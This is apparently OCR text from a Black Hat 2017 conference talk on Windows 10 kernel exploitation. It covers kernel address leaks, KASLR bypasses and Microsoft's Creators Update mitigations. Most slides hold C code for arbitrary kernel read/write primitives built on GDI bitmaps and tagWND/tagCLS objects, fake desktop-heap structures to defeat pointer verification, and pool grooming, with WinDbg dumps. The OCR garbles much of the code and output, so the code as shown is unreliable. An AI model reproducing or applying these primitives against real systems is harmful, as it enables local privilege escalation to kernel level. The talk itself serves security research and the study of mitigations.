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* Morten Schenk

e Security Advisor, Improsec ApS

* Twitter - @blomster81

* Blog - https://improsec.com/blog/

e GitHub - https://github.com/MortenSchenk

* What to expect from this talk
* Windows 10 Kernel Exploitation on Creators Update
* Lots of hex
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* Brief look at Kernel Exploitation history
 Arbitrary Kernel Read/Write Primitive

* KASLR information leak

* De-randomizing Page Table Entries

* Dynamic Function Location

* Executable Kernel Memory Allocation

* Note on Win32k Syscall Filtering
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plackhat Exploitation Concept

* Write-What-Where
* Vulnerability class

* Best case
 Write controlled value at controlled address

 Common case
 Write not controlled value at controlled address

* Leverage to obtain kernel-mode code execution
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PIackha® Kernel Exploitation Histo

e Kernel information leaks were available with NtQuerySystemInformation

NTSTATUS WINAPI NtQuerySystemInformation(

In_ SYSTEM_ INFORMATION CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
In_ ULONG SystemInformationlength,
_Out_opt_ PULONG ReturnLength
|H pModuleInfo = (PRTL_PROCESS MODULES)VirtualAlloc(NULL, @x10000@, MEM COMMIT | MEM RESERVE, PAGE READWRITE);

MtQuerySystemInformation(SystemModuleInformation, pModulelInfo, Gxleeees, MULL);
ntoskrnlBase = (DWORDE4)pModuleInfo->Modules[@].ImageBase;

userkernel = LoadlLibraryEx({L"ntoskrnl.exe™, WULL, DONT RESOLVE DLL REFERENCES);
HalDispatchTableUserMode = (DWORDE4)GetProcAddress{userkKernel, "HalDispatchTable");
HalDispatchTableOffset = HalDispatchTableUserMode - (DWORDG4)userkKernel;

g HalDispatchTable = ntoskrnlBase + HalDispatchTableOffset;

bigPoolInfo = (PSYSTEM _BIGPOOL_INFORMATION)RtlAllocateHeap(GetProcessHeap(), @, 4 * 1824 * 1824);
NtQuerySystemInformation(SystemBigPoolInformation, bigPoolInfo, 4 * 1824 * 1824, &resultlength);
for (int i = @; i < bigPoolInfo->Count; i++)
{
if ((bigPoolInfo-:AllocatedInfo[i].MonPaged == 1) &&
(bigPoolInfo-»AllocatedInfo[i].Tagllong '"TAG') &R
(bigPoolInfo-»AllocatedInfo[i].SizelnBytes == Bx1118))

kiddr = [DWORDE4)bigPoolInfo-»AllocatedInfo[i].VirtualAddress;
break;
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* NonPagedPool was executable

RtlFillMemory(payLoad, PAGE_SIZE - 8x2b, @xcc);
RtlFillMemory(payLoad + PAGE SIZE - @x2b, 8x18@, 0x41);

BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(paylLoad));
res = WriteFile(writePipe, payload, sizeof(paylLoad), &resultlLength, NULL);

* Execute User-mode memory from Kernel-mode
* Window Function running in kernel mode

+0x014 bServerSideWindowProc : Pos 18, 1 Bit

e Overwrite HalDispatchTable function table with user-mode address
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* Windows 8.1 and Windows 10 before Anniversary Edition.

e Kernel information leaks with APIs blocked from Low Integrity.
* NonPagedPoolNx is the new standard.

* Supervisor Mode Execution Prevention is introduced.

* Kernel-mode read / write primitive is needed.
e GDI bitmap primitive.
* tagWND primitive.
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blackhat Kernel Exploitation Histo

* Information leak of Bitmap through GdiSharedHandleTable

WORD54 teb = (DWORD&4)NtCurrentTeb();

JORDE4 peb = *(POWORDES) (teb + @x6@);

JORDE4 GdiSharedHandleTable = *(PDWORDE4) (peb + @xf8);

DWORDE4 addr = GdiSharedHandleTable + (handle & @xffff) * sizeof(GDICELLG4);

DWORDE4 kernelAddr = *({PDWORDE4)addr;

e Overwrite Bitmap size using Write-What-Where

DWORDE4 readQword (DWORDE4 addr)
* Consecutive Bltmaps can create a prlmltlve {
VOID t d{DWORDE4 addr, DWORDE4 walue
° SetBrtmapBrtS { writeQuord( ; ) EYTE *res = new BYTE[@x8];
BYTE *input = new BYTE[@x8]; POWORDE4 pointer = (PDWORDGE4)overwriteDataj
. . . e e oo ! pointer[@8x1BF] = addr;
d GetBltmapBltS for (int 1 =8; 1< & i+ SetBitmapBits(overwriter, @xe®d, overwriteData);
{ GetBitmapBits(hwrite, @x8, res);

for (int 1 = @; 1 < B; i++)

2 0

DWORDG4 value = 8;

input[i] = (value >> 8 ¥ 1) & OxFF;

! {

PDWORDE4 pointer = (PDWORDB4)overwriteData; DWORDG4 tmp = ((DWORDE4)res[i]) << (8 * i);
pointer[Bx1BF] = addr; value += tmp;

SetBitmapBits(overwriter, @xe8d, overwriteData); }

SetBitmapBits(hwrite, @x8, input); SetBitmapBits(overwriter, @xe®d, overwriteData);
return; return value;
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* Information leak of User-mode mapped Desktop Heap through

* ulClientDelta from Win32Clientinfo uhile (TRUE)
{
i USEFHand|ETab|e from User32!gShared|nfo kernelHandle = (HWND)(i | (UserHandleTable[i].wUniq << @x1@));
if (kernelHandle == hwnd)
{
PTEE teb = NtCurrentTeb(); kerneladdr = (DWORDE4)UserHandleTable[i].phead;
PCLIENTINFO win32client = (PCLIENTINFO)teb->Win32ClientInfo; break;
ulClientDelta = (DWORDE4L)win32client-»ulClientDelta; I

psharedInfo = (PSHAREDINFO)GetProcAddress(LoadlibraryA{"user32.d11"), "gSharedInfo” ]l,'. i4+;
UserHandleTable = g pSharedInfo-»shelist;

* Overwrite coWndExtra using Write-What- Where
* Consecutive Windows can create a primitive Yo wrieomomes s, pomes vl

* SetWindowLongPtr overwrites adjacent e T s
tagWND.StrName pointer through ExtraBytes A
* |nternalGetWindowText , el s e (B ) & A
RtlInitLargeUnicodeString(&uStr, input, exs);
* NtuserDefSEtTeXt' E-etle]indc-m'LEngPtr"[g_w.i.ndm%l, ex118, I:-:l:.-']l;

NtUserDefSetText(g window2, &usStr);
SetkindowlongPtr(g_windowl, @x118, g winStringAddr);
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* Page Table Entry overwrite is common vector

DWORDES getPTTromVA(DWORDE4 vaddr)

{
vaddr »»= 93
vaddr &= @w/FFFFFFFFS;
vaddr += @xFFFFFoE800800888 ;
return vaddr;
k

kd> lpte fffff590140544bd0

VA PEEE£90140844hd0
PXE at FFFFFeFEVDEEDESO PPE at FFFFFRFEYDEFZ0Z5 FDE at FFFFFeFB7E4050Z0 PTE at FFFFFRFCE0AD4Z220
contains O00000000Z251A6863 contains O00000000Z522E863 contains O00000000Z2528CE63 contalns FDOOOOOO17ERAGAES

pfn 251ab ---DA--EWEV pfn 2522e -—-DA--EWEY pfn 25Z8c ---DA--EWEYV pfn 17efa -—-DA-{EW-V
kd> g

Break instruction exception - code 80000003 (first chance)

0033:00007£f9° 18c7a98a cc int 3

kd> lpte FEFFF90140844hd0

VA FEFFFI0140844bd0
PXE at FFFFFEFB7DEEDFY0 PPE at FFFFFEFB7DEF2028 PDE at FFFFFEFB7E405020 PTE at FFFFFAFCB0A04220
contains 0000000025146863 contains 000000002522E863 contains 000000002528C863 contains 7D90000017EFABGS3
pfn 251af ---DA--EWEV pfn 2522 -—-DA--KWEV pfn 2528c ---DA--EWEV pfn 17efa -—-DA-{EWEY]
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* Windows HAL Heap was in many cases static at OxFFFFFFFFFDOO0OO
* Offset 0x448 contained a pointer to [~ seeeseraarO

DWORDES basefddr = @;
ntos k rn | exe DWORDE4 ntAddr = readQUORD(exFfFFffffffdessss);
DWORDE4 signature = BxB@385add;
DWORDE4 searchiddr = ntAddr & @xFFFFFFFFFFFFF@@&;

e Use kernel-mode read/write

while (TRUE)

primitive tO get base address. { DWORDES readData = readQWORD(searchaddr);

DWORDGEA tmp = readData & @xFFFFFFFF;
if (tmp == signature)

1
basefddr = searchaddr;
break;
T
searchiddr = searchaddr - 8x1808;

¥

return baselfddr;

h
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Public Name Microsoft Internal Name OS Build

Release To Market 1507 Thredshold 1 10240
November Update 1511 Thredshold 2 10586
Anniversary Update 1607 Redstone 1 14393
Creators Update 1703 Redstone 2 15063

Fall Creators Update 1709 Redstone 3 N/A
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 Randomizes Page Table Entries
e Removes kernel addresses from
GdiSharedHandleTable

* Breaks bitmap primitive address
leak

-----

Various address space disclosures have been fixed

v" Page table self-map and PFN database are
randomized

Dynamic value relocation fixups are used to
preserve constant address references

v SIDT/SGDT kernel address disclosure is prevented
when Hyper-V is enabled

Hypervisor traps these instructions and hides
the true descriptor base from CPL>0

v GDI shared handle table no longer discloses
kernel addresses
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Windows 10 1607 Mit

* Limits the tagWND.strName to point inside Desktop heap.
* Breaks tagWND primitive

F
Qo
01
02
03
04
05
06
o7
08
05

Child-5F

EfffE8RL0O0"
EfffE8RL0O0"
EfffE8RL0O0"
EfffE8RL0O0"
EfffE8RL0O0"

65292068
65292070
65a920d0
65a927e0
65892820

(Inline Function)

EfffE8RL0O0"
EfffE8RL0O0"
EfffE8RL0O0"
EfffE8RL0O0"

65292860
65a928a0
65292800
65a92a80

Eethddr

EfFFFEOO"
EfFFFEOO"
EfFFFEOO"
"fT31clfe
"fTled4f96

Efffdebd
Efffdebd
Efffdebd
Efffdebd
Efffdebd
Efffdebd

Jeabcfea
30abc3s59
369430594

"£f71le421b
"f£T720c9%9¢c
"f£T720c50a
"fTleSlec

Call 5ite

nt ' DbgEreakPointWithStatus

nt 'EiBugCheckDebugEreak+0x12

nt 'EeBugCheckZ+0xEas

nt 'EeBugCheckEx+0x104
Wwin3Zkfull!'DesktopVerifvHeapPointer+0x13T7252
Wwin3Zkfull!'DesktopVerifvHeapRange+0x1lS
win3Zkfull!'DesktopVerifvHeaplLargelnicodeString (struct tar
Win3Zkfull!'DefSetText (struct tagWHD * pwnd = O0xffffdedl":
Wwin3Zkfull!'xxxBeallDefWindowProc (struct tagWHD * pwnd = 0:
Wwin3Zkfull 'xxxWrapBeallDefWindowProc (struct tagWHD * pwnd

Figure 4. Windows 10 Anniversary Update mitigation on a common kernel write primitive
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PIacik®® Locating Bitmap Object.

* Bitmap objects are stored in the Large Paged Pool.
* Randomized on reboot
* Need a kernel information leak to locate

* Win32ThreadInfo in the TEB is close to the Large Paged Pool

kd> dt _TEEB @3teb

ntdll!_TEBE
+0=000 HtTib : _NT_TIE
+0=038 EnvironmentPointer : (null)

+0=040 ClientId : _CLIENT _ID

+0=050 ActiwveRpcHandle : (null)

+0=0583 ThreadlocalStoragePointer : 0=00000056° 4614058 Void
+0=z060 ProcessEnvironmentBlocl: . 0=000000%6° 4ce13000 _FPER
+0=068 LaztErrorWValue -

+0x06c CountOfOwnedCriticalSection=s : 0O
+0=z070 C=rClientThread : (null)
+0=078 WinidZThreadInfo : 0xffff905="001l=echlnO
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Locating Bitmap Object

* Creating a number of large Bitmap objects stabilizes the Pool

DWORDE4 size = Ox10000000 - Ox260;
BYTE *pBits = new BYTE[size];
memset{pBits, @x4l, size);

* Large static offset will point into
Bitmaps

DWORD amount = 8x4;

HEITMAP *hbitmap = new HBITMAP[amount];
DWORDE4 leakPool()

1 for (DWORD 1 = @; 1 < amount; i+4)
DWORD54 teb = (DWORD&4)NtCurrentTeb(); {
ik 'y 1 = F PNk i " - . " x
DWORDG4 pointer . (POWORDE4) (tebtox78) ; hbitmap[i] = CreateBitmap(@x3FFFFe4, @x1, 1, 32, pBits);
DWORDS4 addr = pointer & @xFFFFFFFFFRR00008; 1
addr += ©x1R3E86080;

return addr;

kd: dg ££££905c7 16300000

FEFf905c 16300000 41414141°41414141 414141417 41414141
FFFFI05c 16300010 41414141°41414141 41414141° 41414141

- . ~ - FFFFI05c 16300020 41414141°41414141 41414141°41414141
WindeThresdlnfo : Dxfffi3lbc 00lechbll Void FFFFIN05- 16300030 41414141°41414147 414141471°41414141
FFFFI05c 16300040 41414741°41414141 41414141° 41414141

Ffff905c 16300050 41414741°41414741 41474141° 41414141

FfFfI05c 16300060 41414141°41414141 414141417 41414141

FFFFI05c 16300070 41414741°41414141 41414141° 41414141
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* Delete the second large Bitmap object.

* Allocate ~10000 new Bitmap objects of 0x1000 bytes each.

* Will point to start of Bitmap object.

DeleteObject(hbitmap[1]);

DWORDE4 size2 = Ox1008 - Bx268;

EYTE *pBits2 = new BYTE[size2];
memset({pBits2, @x42, sizel);

HEITMAP *hbitmap2 = new HBITMAP[@x1leeee];
for (DWORD 1 = @; 1 < 8x2588; i++)

i

hbitmap2[i] = CreateBitmap(@x368, @x1, 1, 32, pBits2);

¥

kd: dg fff£905c 16300000 LZ20

Ffff£305z

fftf£905c”
fftf£905c”
ff££905c"
ff££905"
Fff£905c”
Ffff£905c”
Fff£905"
Fff£905"
fftf£905c”
fftf£905c”
ff££905"
ff££905"
Fff£905c”
Ffff£905c”
Fff£905"

1e300000
16300010
16300020
16300030
16300040
16300050
163000610
163000710
16300080
16300090
163000a0
1630000
1630000
16300040
1630000
1e3000£0

Locating Bitmap Object

goooooan

goooooon”
ooooooon”
gogoooan”
gogoooan”
ff££905c"
oooloonn”
gogoooan”
gogoooan”
goooooon”
ooooooon”
gogoooan”
gogoooan”
gogoooan”
gogoooan”
ffff905z"

01050=e=9
goooooon
01050ec?
gooooonn
go0nodan
16300260
ooooonoea
04300200
goooooon
goooooon
goooooon
ooan1s7?o
gooooonn
goooooon
goooooon
163000=48

goooooon”
goooooon”
goooooon”
gooooool”
tf££905c"
oooos03e”
goooooon”
goooooon”
goooooon”
goooooon”
goooooon”
goooooaon”
goooooaon”
goooooon”
ftfff905c”
goooooon”

ooooooon
goooooon
goooooon
ooaon03e6d
16300260
oo000dan
ooooooon
ooooooon
ooooooon
goooooon
goooooon
goaoooon
goaoooon
ooooooon
163000=8
ooooooon
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* Overwrite sizelBitmap of leaked Bitmap
* Reuses two consecutive Bitmaps as previously

BOOL writeQword(DWORDES addr, DWORDE4 value) kd: dg lalO00000 L&
{ Qooooooo™ la0oooon  f£££905c° 16300000 00000000 QO0000O0f £
EYTE *input = new BYTE[@xE]: Qo0oooo0™ la00oolo  oQoo0oo0oo00" Qo0o0o0o0o00 Qooooooo - o0aooooon

gooooooo” 1=s000020 00000000 00000000 O0oooooo0-doooooon
kd> dg ££f£305=" 16300000438 L1

for (int i = @; i < 8; i++)

(O _ _ , fEE£905c 16300038 00000001 00000368

input[i] = (value »>> 8 * 1) & BxFF; gl Write-Where-Where
¥ ) .
BYTE *pbits = new BYTE[@xe@]; fffff?EHIl nnnnnnnn Ofa00000° 00000000 simulation
memset(pbits, @, @xed0); kd: dg O=ffff£780000008300 L1
GetBitmapBits(hl, @xe0@, pbits); iéfff?an*nnnnnann 00000000 00000000

> g

RORNEL B0 — (PIWORDE P Brealk instruction exception - code 500000035 (first chance)
PDWORDS pointer = (PDWORDG4)pbits; 0033:00007£fb" 30366062 oo int 3
pointer[@x1BE] = addr; _ kds dg O=fffff72000000800 L1
SetBitmapBits(hl, @xed@, pbits); fEFE£780° 00000800 11223344 GEE67788
SetBitmapBits(h2, @x3, input); kd> dg 12000000 L&
delete[] pbits; 00000000 12000000 fff£905c° 16300000 00000000 000000f§
delete[] input; 00000000 12000010 00000000 01050ec9 000000007 01050ecs
return TRUE; 00000000 12000020 0fa00000° 00000000 00000000 00000000
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* Pointer verification is performed by DesktopVerifyHeapPointer.
[ ) tagWN D.StrName must be DesktopVerifyHeapPointer proc near

BugCheckParameteri= gword ptr -18h

W|th|n the DeSktOp Heap : FUMCTIOM CHUNK AT 000BO0B1CH199C18 SIZE AO0E8B1F BYTES
L

sub rsp, 38h

|El.3_i].;_-." mou r9, [rcx+78h] ; Address of Desktop Heap
mow Fcx, rbx ; tagDESKTOP pointer cmp rdx, 9 ; 3tr buffer must not be below Desktop Heap
call DesktoplerifyHeapPointer jb loc_1C0199C18
lea rdx, [rdi-1] )
mow rcx, rbx | J
mowv rbx, [rsp+38h+arg 0] =
add rsp, 36h eax, [rcx+80h] ; Size of Desktop Heap
pop rdi rax, v9 ; HWax address of Desktop Heap
Jmp $+5 ] . rdx, rax ; Str buffer must not be above Desktop Heap
DesktopUVerifyHeapLargellnicodeitring endp loc 1CB199C18
, 11 L
 J Yy
) =]
rsp, 28h ; START OF FUMCTION CHUMK FOR DesktopVerifyHeapPointe

DesktopUerifyHeapPointer endp| |loc_1CO199C18:

mow eax, [rcx+80h]

mouw re8, rdx ; BugCheckParametey2

mou edx, 6 ; BugCheckParameter1

mow [rsp+38h+BugCheckParametery], rax ; BugCheckP
mow ecx, 164h ; BugCheckCode

call cs:_ imp_KeBugCheckEx
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* Desktop Heap address and size comes from tagDESKTOP object.

* No validation on tagDESKTOP pointer. kd> dt wind2k!tagi¥D hesd
+0=000 head : _THEDESEHEAD

* Pointer is taken from header of tagWND. kd> dv —THRDESKHEAD

+0=000 h - Ptred Void
* Find tagDESKTOP pointer and replace it. =008 cleckobs mAE  THREADINFO
. +0=z018 rpdeslk : Ptred tagDESKETOF
* Control Desktop Heap address and size +0x020 pSelf - Ptred UChar

during verification.

VOID setupFakeDesktop(DWORDE4 wndAddr)
1
g fakeDesktop = (PDWORDE4)VirtualAlloc((LPVOID)@x2a@@8000, @x1000, MEM_COMMIT | MEM RESERVE, PAGE READWRITE);
memset(g fakeDesktop, 8x11, @x108@);
DWORDE4 rpDeskuserAddr = wndAddr - g ulClientDelta + ©@x18;
g rpDesk = *{PDWORDG4)rpDeskuseraddr;



e SetWindowLongPtr can overwrite

tagDESKTOP pointer.

* Verification succeeds everywhere.

kd: dg £££££780° 00000000 L1

tfffe780 00000000 Ofa00000 00000000
kd: dg £££££730° 00000300 L1
tfff££780° 000008300 O0QOO000OOO"OOOOOOOO
kd:> dg 1a000000 L4

ooooooan”la000000 ff££905c 006feedl f£E£££905c 006E7070
ooooooon”la000010 f££££905c 006E6ELE OO00O0OO00  O0OOOOQO0

kd> dg ffff905="006£6£f0LE L1

fff1EﬂE;_ﬂﬂﬁiﬂihE__ﬂﬂﬂﬂﬂﬂﬂﬂ;ﬂﬂﬂﬂﬂﬂﬂﬂ_______1
kd: leqg ££££905z"006£6£f0HE 00000000 00001008

kd> g

Write-What-Where
simulation

Breal instruction exception — code 30000003 (first chance)

O033:00007ftb" 3366062 oo
kd> dg 1=a000000 L4

3

ooooooan”la000000 ff££905c 006feedl f£E£££905c 006E7070
ooooooon”la000010 f£££905c 006f6ELE OfalO0000° OOOOOOOO

kd> dg f£ff£750° 00000300 L1
tffff/e0 00000800 112233447 55667788

0ID writeQWORD({DWORDES

addr, DWORD&4 value)

DWORD offset = addr & @xF;
addr -= offset;

DWORDES filler;

DWORDES size = @xB + offset;
CHAR* input = new CHAR[size];
LARGE _UMNICODE_STRING u5tr;

if (offset l= @)

{ filler = readQWORD{addr);

iGF (DWORD 1 = @; i < offset; i++)

{ input[i] = (filler >» (B * 1)) & @xFF;
iﬂr (DWORD i = @; i < 8; i++)

{

input[i + offset] = (value »> (B * i)) & @xFF;

¥

RtlInitLargeUnicodeString(&uStr, input, size);
g_fakeDesktop[exl] = 8;

g_fakeDesktop[@xF] = addr - @x188;

g fakeDesktop[ex1@] = ex2e8;

SetWindowlLongPtr(g windowl, 8x118, addr);
SetbindowlongPtr(g_windowl, @x118, OxB0222025002000028);
SetbindowlongPtr(g windowl, @x58, (CWORDE4)g fakeDesktop);
MtUserDefSetText(g_window2, BuStr);

SetlindowlongPtr
SetkWindowlLongPtr
SetkWindowlLongPtr

g windowl, @x58, g rpDesk);
g windowl, 8x118, OxBESPERHeRAEBGBAC);
g windowl, @x118, g winStringaddr);

o T T e T e T B i
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Windows 10 1703 Mitige

* UserHandleTable from User32!gSharedInfo is gone

kd: dg poi{u=eri?!gSharedInfo+i)

oo0o002es"
oo0o002czh
oo000des"
oo000des"
oo000des"
oooo02cs”
oo000des"
oo000des"

dbOf 0000

"db0f0010

dblfooz0
db0f0030
dblfo040
dbOi 0050
dblf0060
db0f00?70

goooooon”

goooooon”
goooooon”
ffff9%c2”
goooooon”
ffff9bc2”
ffff9%c2”
goooooon”

Windows 10 1703

kd: dg poif{u=eri?!gSharedInfo+i)

ooooozzd”
ooooozzd”
ooooozzd”
ooooozzd”
ooooozzd”
ooooozzd”
ooooozzd”
ooooozzd”

e31b0000
e31b0010
e31b0020
e31b0030
e31b0040
e31b0050
e31b0060
e31b0070

oooooooo”

oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”

goooonoo
oooioo0n0
ooooooon
B00fa870
oo014001
s0007010
80530820
oo0ioo001

oooooono
oooooono
00202fa0
oooooono
oooooono
oooooono
oooooono
oooooono

ooooonoo”
ffff%c2”
oooodoooo”
ffff%c2”
ffff%c2”
ooooonoo”
ffff%c2”
ffff%c2”

oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”
oooooooo”

gooooooo
505830410
oo01000c
501047b0
s0083b00
oo01o00s
501047b0
s0083abil

oooooono
ooolo00o0
oooooono
0001000z
oo0oo31ls
00014001
ood00Zac
oo01io003

typedef struct

FHAN

WORD
DLEENTRY

* UserHandleTable contains Kernel-mode address of tagWND
* Windows 10 1607

_HANDLEENTRY {

VOID phead;
ULONG_PTR pOwner;

BYTE
BYTE

X

bType;
bFlags;
wUnig;

*PHANDLEENTRY;
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* ulClientDelta from Win32ClientInfo is gone

e Windows 10 1607

kd> dg @Steb+s00

oooolled " esdessdln
goodlled esdes810
gooonled esdessll

e Windows 10 1703

Ld:> dg @Steb+500

gooonose aladaton
gooooose aladasll
Oooo000se " aladasl

gooooooo”
gooooooo”
gooonzcss"

gooooooo”
gooooooo”
goooo22z”

goooooos oooooooo " oooooooo
oooode0n oooooooo " oooooooo
dbd410700 ffff98fc a51£0000

goooooos oooooooo-aooooooo
goodooend CcoOOoOoOOOO0"cooooooo
ed550700 00000222 e3s50000
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Windows 10 1703 Mitige

* ExtraBytes modified by SetWindowlLongPtr are moved to user-mode.
e Cannot overwrite adjacent tagWND.strName.

Ll e =]

sub esi, r8d

movs®d rcx, esi

add rcx, [rdi+188h] ; RDI == tagWHD=
] et 5
loc_1CHB53CH3:
moy rax, [rcx]
moy [rsp+98h+var 78], rax
mov [rcx], r14 : RCK == ExtraBytes=
jmp loc 1CO0853B7B

kd> dg laO00000 L2
oooooooo:1a000o0n
kd: ¥

rax=0000000000000000
rd=z=000000000000000%8
rip=ffffbdtfecdbdhthb
r3=0000000000000000

rld=fffff 75000000000

1opl= nv up =1 pl nz na pe nc
===00110 13 d==002b e==002b {f==0053
windZlful ¥5etWindowlongPtr+0x1£f 3 :
tfffbdsf” g6eb 4=8931 mows

rbx=0000000000000000
r=1=0000000000000008
rep=iffi=e3010030da00

rA=ffffffEf£E£EE£3£5F
rlz=0000000000000000
rl5=fffibd2542567abl

ffffbd25 4090% e f££E£bd25° 40909b£0

rocx=000002095£92daf 8

rdi=trrthdsHaU5059br 1
rbp=0000000000000008
rl0=ffffbd2540909L£0
rl3i=0000000000000000

g==002hb

gword ptr [rcx].rld
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plackha Windows 10 1703 Mitige

* tagWND as Kernel-mode read/write primitive is broken again.

* Bitmap object header increased by 0x8 bytes.
* Change allocation size to retain allocation alignment.

* HAL Heap is randomized.
* No longer ntoskrnl.exe pointer at OxFFFFFFFFFD00448.
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agWND Primitive Revive

* ulClientDelta in Win32ClientInfo has been replaced by user-mode

pointer kd» dg @$teb+800 L6
go00o00de” £473a800 00000000 oO0000008 O00oooo00"ooooooono
gooooode " £473a5810 00000000 QO0O00&00 OOOOOOGOO" OO0Oo000

gooodode " £d73a820 00000299 cf=2Y0700 00000299 ct=70000
* Inspecting new pointer reveals user-mode mapped Dekstop Heap

kd> dg 00000299 cfe/0000

00000299 " cfte70000  Oo000000 00000000 010022 639EE397
00000299 zf=70010 00000001 ffeeffes f££EfbA25" 40500120
00000299 cf=70020 fEf£ffbdZ5° 40800120 ffffbd25" 40500000
00000299 =f=70030 ffffbdZ25° 40800000 00000000 00001400
00000299 =f=70040 fEfffbdZ25°408006£0 ffffbd25° 4100000
00000299 zf=70050 00000001 000011f= OO0OOOOOO 00000000
00000299 cfe?0060 fiffbdZ5 40a05%fel ffffbd25" 40al5fel
00000299 70070  O0O000009 00000009 00100000 adoooo0o
kd> dg ffffbd25" 40500000

fffftbd25 40500000 00000000 OOOO00O0O00 0100c22c” 639Ef397
ffffbd257 40300010 00000001 ffesffes fE££fbA25° 40800120
ffffbd257 40800020 f£fffbd25°40800120 ffffbd25° 40800000
ffffbd257 40800030 ffffbdZ25° 40800000 00000000 00001400
ffffbd25 40500040 fifffbdZ5 408006£0 ffffbd25 4100000
ffffbd25 40500050 00000001 000011f= OO0OOOOOQOC" 00000000
ffffbd25 40800060 fiffbdd5 40a05%fel f£ffbd25" 40a05%fel
fffftbd25 40500070 00000009 00000009 00100000 a0ooo00o
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pack tagWND Primitive Revive

* Manually search through Desktop heap to locate tagWND object

VOID setupleak()

1
DWORDE4 teb = (DWORDS4)NtCurrentTeb();
g desktopHeap = *(PDWORD&E4) (teb + @x828);
g desktopHeapBase = *({PDWORDG4) (g desktopHeap + @x28);
DWORDE4 delta = g desktopHeapBase - g desktopHeap;
g ulClientDelta = delta;
¥

DWORDE4 leakWnd({HWND hwnd)
1
DWORD 1 = @;
POWORDES buffer = (PDWORDE4)g desktopHeap;

while (1)
i
if (buffer[i] == (DWORD&4)hwnd)
1
return g desktopHeapBase + i * 8;
¥
i++;
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blackhat

usaz017 tagWND Primitive Revive

* Size of ExtraBytes is defined by coWndExtra when Windows Class is

cb5ize = sizeof(WNDCLASSEX);
style = @;
lpfnkindProc = WProcl;

.cbClsExtra = @x18;
.ChlindExtra = 8&;

registered cls.
* RegisterClassEx creates a tagCLS object i
* tagCLS has ExtraBytes defined by ==
cbClsExtra o
* SetWindowlLongPtr sets ExtraBytes in o0
tagWND o

.hInstance = MULL;

hCursor = HNULL;

.hIcon = NULL;

.hbrBackground = (HBRUSH) (COLOR WINDOW + 1);
.lpszMenuName = MULL;

lpszClassName = g windowClasshNamel;

.hIconSm = NULL;

* SetClassLongPtr sets ExtraBytes in tagCLS registerclassexi(acls);
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pack tagWND Primitive Revive

VOID writeQWORD(DWORDE4 addr, DWORDE4 value)

1

DWORD offset = addr & OxF;
addr -= offset;

e ExtraBytes from tagCLS are still in owoR0e4 Filler;

DWORDES size = @8 + offset;
CHAR® input = new CHAR[size];

_ARGE_UH:CDDE_STRIHG ustr;
the kernel i# (oFfset 1- o)
{

* Allocate tagCLS followed by tagWND. ,  Filier = rendQuoin(addc);

for (DWORD i = @; 1 < offset; i++)
{

Use SetClassLongPtr to update fnput[1]

¥

for (DWORD i

tagWND.strName {

. . . I
o Read/wrlte kernEI—mOde prlmltlve RtlInitlLargeUnicodeString(&uStr, input, size);

(filler >> (8 * i)) & @XFF;

@; 1< 8; i)

input[i + offset] = (value > (8 * 1)) & 6xFF;

g fakeDesktop[exl] = &;

iS baCk g fakeDesktop[exl8] = addr - @x108;

g_fakeDesktop[exl1l] = Gx2@8;

SetClassLongPtr(g windowl, @388, addr);
SetClassLongPtri(g windowl, 8x388, OxDOEBOHE2366800020);
SetClassLongPtrid(g windowl, @x23@, (DWORDE4)g fakeDesktop);
NtUserDefSetText(g_window2, 2uStr);

SetClassLongPtrid(g windowl, @w238, g rpDesk);
SetClasslongPtri(g windowl, @x308, Ox020020222000000C);
SetClassLongPtri(g windowl, 8x385, g winStringAddr);
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blackhat Kernel ASLR Bypass

* Almost all kernel memory is randomized.

e Shared System Page — KUSER_SHARED_DATA is static
* Located at OxFFFFF78000000000.
* Not executable.
* Does not contain interesting pointers.

 HAL Heap is randomized
* SIDT is mitigated with VBS

* Need new ntoskrnl.exe information leak
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plackha® Kernel ASLR Bypass

* KASLR bypass could be primitive related.

* Must work for Windows 8.1 and Windows 10 1507 to 1703.
* Need a bypass for each primitive.

* Must leak ntoskrnl.exe pointer.
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PIASKPS® Bitmap KASLR Bypass 0-D

typedef struct SURFOBJ

* Surface structure from REACTOS h

DHSURF dhsurf; // @xeee
HSURF hsurf; [/ exeed
DHPDEV dhpdev; // @8xees
‘ ‘ HDEV  hdev; // @xeac
SIZEL sizlBitmap; [/ exels
hdev
GDI's handle to the device, this surface belongs to. In reality a pointer to GDI's PDEVOB. h
L\ THa AL L ld frf COADLY
ULONG iUnig; // 8xe28
ULONG diBitmapFormat; [/ exe2c
USHORT iType; [/ exe3s
USHORT fjBitmap; // 8xe32
[/ size Bxe34

} SURFOBJ, *PSURFOBJ;



blgc’zk hat

sazm>  Bitmap KASLR Bypass O-

 PDEVOBIJ structure from REACTOS it

PVOID
PVOID
LILONG
LILONG
PFM
PFM
PFM

. . PFM
Function Pointer ) -

PFM
LILONG
PLDEV

PVOID
PVOID
PFN

} PDEV, *PPDEV;

basecbij;
ppdevNext;
cPdevRefs;
cPdevOpenRefs;
ppdevParent;
flags;
flaccelerated;

pvGammaRamp ;
RemoteTypelne;
ulHorzRes;

ulvVertRes;
pfnDrvSetPointerShape;
pfnDrvMovePointer;
pfnMovePointer;
pfnDrvSynchronize;
pfnDrvSynchronizeSurface;
pfnDrvSetPalette;
pfnDrvNotify;
TagSig;

pldev;

WatchDoglontext;
WatchDogs;
apfn[INDEX LAST]
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tfffbd25”
ffftfbd25”
ffffbd25”
tfffbd25”
ffftfbd25”
ffffbd25”

Sea00000
Sea00010
Sea00020
Se300030
Sea00040
56300050

gooooooo”oo0s2c3kb
ffftf96 82" Sbbe=e?40
goooooon”o0o0s2c3kb

gooooon
fffth

gooodsn
oo270

goooooon”
goooooon”
gooooooo®
gooooool-”
ffftfbd25”
ooo0?34b”

Bitmap hdev field is empty

Bitmap KASLR Bypass 0-C

gooooooo
gooooooo
gooonooo
oooonsed
Sea00270
oooandso

£z N
- =
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e Other Bitmap variants exist.

Bitmap KASLR Bypass O-C

HEITMAP CreateCompatibleBitmap(

_In_ HDC hdc,
_In_ int nWidth,
_In_ int nHeight

)i

kd> dg ffffbd25 5630000043000

ffffbd25"

ffffbdZ5"
fffftbdZ5"
ffffbdZ5"
fffftbdZ5"

SE303000
Lea03010
SE303020
Lea03030
SE303040

gooooooo”o01052c3= OO00O0O0COO"
ffff968a 3bbee=?40 00000000°

ffffhdss 40010010

kd: dg=s ffffbdZ5°4001b010 + 6f0
ffffbd.5 " 4001b700

